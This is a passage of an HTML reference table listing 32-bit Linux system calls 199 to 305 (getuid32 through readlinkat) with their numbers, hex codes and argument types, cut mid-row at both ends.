style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">199</td><td style="text-align:center">getuid32</td><td style="text-align:center">C7</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">200</td><td style="text-align:center">getgid32</td><td style="text-align:center">C8</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">201</td><td style="text-align:center">geteuid32</td><td style="text-align:center">C9</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">202</td><td style="text-align:center">getegid32</td><td style="text-align:center">CA</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">203</td><td style="text-align:center">setreuid32</td><td style="text-align:center">CB</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">204</td><td style="text-align:center">setregid32</td><td style="text-align:center">CC</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">205</td><td style="text-align:center">getgroups32</td><td style="text-align:center">CD</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">206</td><td style="text-align:center">setgroups32</td><td style="text-align:center">CE</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">207</td><td style="text-align:center">fchown32</td><td style="text-align:center">CF</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">208</td><td style="text-align:center">setresuid32</td><td style="text-align:center">D0</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">209</td><td style="text-align:center">getresuid32</td><td style="text-align:center">D1</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">210</td><td style="text-align:center">setresgid32</td><td style="text-align:center">D2</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">211</td><td style="text-align:center">getresgid32</td><td style="text-align:center">D3</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">212</td><td style="text-align:center">chown32</td><td style="text-align:center">D4</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">213</td><td style="text-align:center">setuid32</td><td style="text-align:center">D5</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">214</td><td style="text-align:center">setgid32</td><td style="text-align:center">D6</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">215</td><td style="text-align:center">setfsuid32</td><td style="text-align:center">D7</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">216</td><td style="text-align:center">setfsgid32</td><td style="text-align:center">D8</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">217</td><td style="text-align:center">pivot_root</td><td style="text-align:center">D9</td><td style="text-align:center">const char *new_root</td><td style="text-align:center">const char *put_old</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">218</td><td style="text-align:center">mincore</td><td style="text-align:center">DA</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center">unsigned char * vec</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">219</td><td style="text-align:center">madvise</td><td style="text-align:center">DB</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center">int behavior</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">220</td><td style="text-align:center">getdents64</td><td style="text-align:center">DC</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">struct linux_dirent64 *dirent</td><td style="text-align:center">unsigned int count</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">221</td><td style="text-align:center">fcntl64</td><td style="text-align:center">DD</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">unsigned int cmd</td><td style="text-align:center">unsigned long arg</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">222</td><td style="text-align:center">not implemented</td><td style="text-align:center">DE</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">223</td><td style="text-align:center">not implemented</td><td style="text-align:center">DF</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">224</td><td style="text-align:center">gettid</td><td style="text-align:center">E0</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">225</td><td style="text-align:center">readahead</td><td style="text-align:center">E1</td><td style="text-align:center">int fd</td><td style="text-align:center">loff_t offset</td><td style="text-align:center">size_t count</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">226</td><td style="text-align:center">setxattr</td><td style="text-align:center">E2</td><td style="text-align:center">const char *path</td><td style="text-align:center">const char *name</td><td style="text-align:center">const void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">227</td><td style="text-align:center">lsetxattr</td><td style="text-align:center">E3</td><td style="text-align:center">const char *path</td><td style="text-align:center">const char *name</td><td style="text-align:center">const void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">228</td><td style="text-align:center">fsetxattr</td><td style="text-align:center">E4</td><td style="text-align:center">int fd</td><td style="text-align:center">const char *name</td><td style="text-align:center">const void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">229</td><td style="text-align:center">getxattr</td><td style="text-align:center">E5</td><td style="text-align:center">const char *path</td><td style="text-align:center">const char *name</td><td style="text-align:center">void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">230</td><td style="text-align:center">lgetxattr</td><td style="text-align:center">E6</td><td style="text-align:center">const char *path</td><td style="text-align:center">const char *name</td><td style="text-align:center">void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">231</td><td style="text-align:center">fgetxattr</td><td style="text-align:center">E7</td><td style="text-align:center">int fd</td><td style="text-align:center">const char *name</td><td style="text-align:center">void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">232</td><td style="text-align:center">listxattr</td><td style="text-align:center">E8</td><td style="text-align:center">const char *path</td><td style="text-align:center">char *list</td><td style="text-align:center">size_t size</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">233</td><td style="text-align:center">llistxattr</td><td style="text-align:center">E9</td><td style="text-align:center">const char *path</td><td style="text-align:center">char *list</td><td style="text-align:center">size_t size</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">234</td><td style="text-align:center">flistxattr</td><td style="text-align:center">EA</td><td style="text-align:center">int fd</td><td style="text-align:center">char *list</td><td style="text-align:center">size_t size</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">235</td><td style="text-align:center">removexattr</td><td style="text-align:center">EB</td><td style="text-align:center">const char *path</td><td style="text-align:center">const char *name</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">236</td><td style="text-align:center">lremovexattr</td><td style="text-align:center">EC</td><td style="text-align:center">const char *path</td><td style="text-align:center">const char *name</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">237</td><td style="text-align:center">fremovexattr</td><td style="text-align:center">ED</td><td style="text-align:center">int fd</td><td style="text-align:center">const char *name</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">238</td><td style="text-align:center">tkill</td><td style="text-align:center">EE</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int sig</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">239</td><td style="text-align:center">sendfile64</td><td style="text-align:center">EF</td><td style="text-align:center">int out_fd</td><td style="text-align:center">int in_fd</td><td style="text-align:center">loff_t *offset</td><td style="text-align:center">size_t count</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">240</td><td style="text-align:center">futex</td><td style="text-align:center">F0</td><td style="text-align:center">u32 *uaddr</td><td style="text-align:center">int op</td><td style="text-align:center">u32 val</td><td style="text-align:center">struct timespec *utime</td><td style="text-align:center">u32 *uaddr2</td><td style="text-align:center">u32 val3</td></tr><tr><td style="text-align:center">241</td><td style="text-align:center">sched_setaffinity</td><td style="text-align:center">F1</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">unsigned int len</td><td style="text-align:center">unsigned long *user_mask_ptr</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">242</td><td style="text-align:center">sched_getaffinity</td><td style="text-align:center">F2</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">unsigned int len</td><td style="text-align:center">unsigned long *user_mask_ptr</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">243</td><td style="text-align:center">set_thread_area</td><td style="text-align:center">F3</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">244</td><td style="text-align:center">get_thread_area</td><td style="text-align:center">F4</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">245</td><td style="text-align:center">io_setup</td><td style="text-align:center">F5</td><td style="text-align:center">unsigned nr_reqs</td><td style="text-align:center">aio_context_t *ctx</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">246</td><td style="text-align:center">io_destroy</td><td style="text-align:center">F6</td><td style="text-align:center">aio_context_t ctx</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">247</td><td style="text-align:center">io_getevents</td><td style="text-align:center">F7</td><td style="text-align:center">aio_context_t ctx_id</td><td style="text-align:center">long min_nr</td><td style="text-align:center">long nr</td><td style="text-align:center">struct io_event *events</td><td style="text-align:center">struct timespec *timeout</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">248</td><td style="text-align:center">io_submit</td><td style="text-align:center">F8</td><td style="text-align:center">aio_context_t</td><td style="text-align:center">long</td><td style="text-align:center">struct iocb * *</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">249</td><td style="text-align:center">io_cancel</td><td style="text-align:center">F9</td><td style="text-align:center">aio_context_t ctx_id</td><td style="text-align:center">struct iocb *iocb</td><td style="text-align:center">struct io_event *result</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">250</td><td style="text-align:center">fadvise64</td><td style="text-align:center">FA</td><td style="text-align:center">int fd</td><td style="text-align:center">loff_t offset</td><td style="text-align:center">size_t len</td><td style="text-align:center">int advice</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">251</td><td style="text-align:center">not implemented</td><td style="text-align:center">FB</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">252</td><td style="text-align:center">exit_group</td><td style="text-align:center">FC</td><td style="text-align:center">int error_code</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">253</td><td style="text-align:center">lookup_dcookie</td><td style="text-align:center">FD</td><td style="text-align:center">u64 cookie64</td><td style="text-align:center">char *buf</td><td style="text-align:center">size_t len</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">254</td><td style="text-align:center">epoll_create</td><td style="text-align:center">FE</td><td style="text-align:center">int size</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">255</td><td style="text-align:center">epoll_ctl</td><td style="text-align:center">FF</td><td style="text-align:center">int epfd</td><td style="text-align:center">int op</td><td style="text-align:center">int fd</td><td style="text-align:center">struct epoll_event *event</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">256</td><td style="text-align:center">epoll_wait</td><td style="text-align:center">100</td><td style="text-align:center">int epfd</td><td style="text-align:center">struct epoll_event *events</td><td style="text-align:center">int maxevents</td><td style="text-align:center">int timeout</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">257</td><td style="text-align:center">remap_file_pages</td><td style="text-align:center">101</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">unsigned long size</td><td style="text-align:center">unsigned long prot</td><td style="text-align:center">unsigned long pgoff</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">258</td><td style="text-align:center">set_tid_address</td><td style="text-align:center">102</td><td style="text-align:center">int *tidptr</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">259</td><td style="text-align:center">timer_create</td><td style="text-align:center">103</td><td style="text-align:center">clockid_t which_clock</td><td style="text-align:center">struct sigevent *timer_event_spec</td><td style="text-align:center">timer_t * created_timer_id</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">260</td><td style="text-align:center">timer_settime</td><td style="text-align:center">104</td><td style="text-align:center">timer_t timer_id</td><td style="text-align:center">int flags</td><td style="text-align:center">const struct __kernel_itimerspec *new_setting</td><td style="text-align:center">struct itimerspec *old_setting</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">261</td><td style="text-align:center">timer_gettime</td><td style="text-align:center">105</td><td style="text-align:center">timer_t timer_id</td><td style="text-align:center">struct __kernel_itimerspec *setting</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">262</td><td style="text-align:center">timer_getoverrun</td><td style="text-align:center">106</td><td style="text-align:center">timer_t timer_id</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">263</td><td style="text-align:center">timer_delete</td><td style="text-align:center">107</td><td style="text-align:center">timer_t timer_id</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">264</td><td style="text-align:center">clock_settime</td><td style="text-align:center">108</td><td style="text-align:center">clockid_t which_clock</td><td style="text-align:center">const struct __kernel_timespec *tp</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">265</td><td style="text-align:center">clock_gettime</td><td style="text-align:center">109</td><td style="text-align:center">clockid_t which_clock</td><td style="text-align:center">struct __kernel_timespec *tp</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">266</td><td style="text-align:center">clock_getres</td><td style="text-align:center">10A</td><td style="text-align:center">clockid_t which_clock</td><td style="text-align:center">struct __kernel_timespec *tp</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">267</td><td style="text-align:center">clock_nanosleep</td><td style="text-align:center">10B</td><td style="text-align:center">clockid_t which_clock</td><td style="text-align:center">int flags</td><td style="text-align:center">const struct __kernel_timespec *rqtp</td><td style="text-align:center">struct __kernel_timespec *rmtp</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">268</td><td style="text-align:center">statfs64</td><td style="text-align:center">10C</td><td style="text-align:center">const char *path</td><td style="text-align:center">size_t sz</td><td style="text-align:center">struct statfs64 *buf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">269</td><td style="text-align:center">fstatfs64</td><td style="text-align:center">10D</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">size_t sz</td><td style="text-align:center">struct statfs64 *buf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">270</td><td style="text-align:center">tgkill</td><td style="text-align:center">10E</td><td style="text-align:center">pid_t tgid</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int sig</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">271</td><td style="text-align:center">utimes</td><td style="text-align:center">10F</td><td style="text-align:center">char *filename</td><td style="text-align:center">struct timeval *utimes</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">272</td><td style="text-align:center">fadvise64_64</td><td style="text-align:center">110</td><td style="text-align:center">int fd</td><td style="text-align:center">loff_t offset</td><td style="text-align:center">loff_t len</td><td style="text-align:center">int advice</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">273</td><td style="text-align:center">vserver</td><td style="text-align:center">111</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">274</td><td style="text-align:center">mbind</td><td style="text-align:center">112</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">unsigned long len</td><td style="text-align:center">unsigned long mode</td><td style="text-align:center">const unsigned long *nmask</td><td style="text-align:center">unsigned long maxnode</td><td style="text-align:center">unsigned flags</td></tr><tr><td style="text-align:center">275</td><td style="text-align:center">get_mempolicy</td><td style="text-align:center">113</td><td style="text-align:center">int *policy</td><td style="text-align:center">unsigned long *nmask</td><td style="text-align:center">unsigned long maxnode</td><td style="text-align:center">unsigned long addr</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">276</td><td style="text-align:center">set_mempolicy</td><td style="text-align:center">114</td><td style="text-align:center">int mode</td><td style="text-align:center">const unsigned long *nmask</td><td style="text-align:center">unsigned long maxnode</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">277</td><td style="text-align:center">mq_open</td><td style="text-align:center">115</td><td style="text-align:center">const char *name</td><td style="text-align:center">int oflag</td><td style="text-align:center">umode_t mode</td><td style="text-align:center">struct mq_attr *attr</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">278</td><td style="text-align:center">mq_unlink</td><td style="text-align:center">116</td><td style="text-align:center">const char *name</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">279</td><td style="text-align:center">mq_timedsend</td><td style="text-align:center">117</td><td style="text-align:center">mqd_t mqdes</td><td style="text-align:center">const char *msg_ptr</td><td style="text-align:center">size_t msg_len</td><td style="text-align:center">unsigned int msg_prio</td><td style="text-align:center">const struct __kernel_timespec *abs_timeout</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">280</td><td style="text-align:center">mq_timedreceive</td><td style="text-align:center">118</td><td style="text-align:center">mqd_t mqdes</td><td style="text-align:center">char *msg_ptr</td><td style="text-align:center">size_t msg_len</td><td style="text-align:center">unsigned int *msg_prio</td><td style="text-align:center">const struct __kernel_timespec *abs_timeout</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">281</td><td style="text-align:center">mq_notify</td><td style="text-align:center">119</td><td style="text-align:center">mqd_t mqdes</td><td style="text-align:center">const struct sigevent *notification</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">282</td><td style="text-align:center">mq_getsetattr</td><td style="text-align:center">11A</td><td style="text-align:center">mqd_t mqdes</td><td style="text-align:center">const struct mq_attr *mqstat</td><td style="text-align:center">struct mq_attr *omqstat</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">283</td><td style="text-align:center">kexec_load</td><td style="text-align:center">11B</td><td style="text-align:center">unsigned long entry</td><td style="text-align:center">unsigned long nr_segments</td><td style="text-align:center">struct kexec_segment *segments</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">284</td><td style="text-align:center">waitid</td><td style="text-align:center">11C</td><td style="text-align:center">int which</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">struct siginfo *infop</td><td style="text-align:center">int options</td><td style="text-align:center">struct rusage *ru</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">285</td><td style="text-align:center">not implemented</td><td style="text-align:center">11D</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">286</td><td style="text-align:center">add_key</td><td style="text-align:center">11E</td><td style="text-align:center">const char *_type</td><td style="text-align:center">const char *_description</td><td style="text-align:center">const void *_payload</td><td style="text-align:center">size_t plen</td><td style="text-align:center">key_serial_t destringid</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">287</td><td style="text-align:center">request_key</td><td style="text-align:center">11F</td><td style="text-align:center">const char *_type</td><td style="text-align:center">const char *_description</td><td style="text-align:center">const char *_callout_info</td><td style="text-align:center">key_serial_t destringid</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">288</td><td style="text-align:center">keyctl</td><td style="text-align:center">120</td><td style="text-align:center">int cmd</td><td style="text-align:center">unsigned long arg2</td><td style="text-align:center">unsigned long arg3</td><td style="text-align:center">unsigned long arg4</td><td style="text-align:center">unsigned long arg5</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">289</td><td style="text-align:center">ioprio_set</td><td style="text-align:center">121</td><td style="text-align:center">int which</td><td style="text-align:center">int who</td><td style="text-align:center">int ioprio</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">290</td><td style="text-align:center">ioprio_get</td><td style="text-align:center">122</td><td style="text-align:center">int which</td><td style="text-align:center">int who</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">291</td><td style="text-align:center">inotify_init</td><td style="text-align:center">123</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">292</td><td style="text-align:center">inotify_add_watch</td><td style="text-align:center">124</td><td style="text-align:center">int fd</td><td style="text-align:center">const char *path</td><td style="text-align:center">u32 mask</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">293</td><td style="text-align:center">inotify_rm_watch</td><td style="text-align:center">125</td><td style="text-align:center">int fd</td><td style="text-align:center">__s32 wd</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">294</td><td style="text-align:center">migrate_pages</td><td style="text-align:center">126</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">unsigned long maxnode</td><td style="text-align:center">const unsigned long *from</td><td style="text-align:center">const unsigned long *to</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">295</td><td style="text-align:center">openat</td><td style="text-align:center">127</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">int flags</td><td style="text-align:center">umode_t mode</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">296</td><td style="text-align:center">mkdirat</td><td style="text-align:center">128</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char * pathname</td><td style="text-align:center">umode_t mode</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">297</td><td style="text-align:center">mknodat</td><td style="text-align:center">129</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char * filename</td><td style="text-align:center">umode_t mode</td><td style="text-align:center">unsigned dev</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">298</td><td style="text-align:center">fchownat</td><td style="text-align:center">12A</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">uid_t user</td><td style="text-align:center">gid_t group</td><td style="text-align:center">int flag</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">299</td><td style="text-align:center">futimesat</td><td style="text-align:center">12B</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">struct timeval *utimes</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">300</td><td style="text-align:center">fstatat64</td><td style="text-align:center">12C</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">struct stat64 *statbuf</td><td style="text-align:center">int flag</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">301</td><td style="text-align:center">unlinkat</td><td style="text-align:center">12D</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char * pathname</td><td style="text-align:center">int flag</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">302</td><td style="text-align:center">renameat</td><td style="text-align:center">12E</td><td style="text-align:center">int olddfd</td><td style="text-align:center">const char * oldname</td><td style="text-align:center">int newdfd</td><td style="text-align:center">const char * newname</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">303</td><td style="text-align:center">linkat</td><td style="text-align:center">12F</td><td style="text-align:center">int olddfd</td><td style="text-align:center">const char *oldname</td><td style="text-align:center">int newdfd</td><td style="text-align:center">const char *newname</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">304</td><td style="text-align:center">symlinkat</td><td style="text-align:center">130</td><td style="text-align:center">const char * oldname</td><td style="text-align:center">int newdfd</td><td style="text-align:center">const char * newname</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">305</td><td style="text-align:center">readlinkat</td><td style="text-align:center">131</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *path</td><td style="text-align:center">char 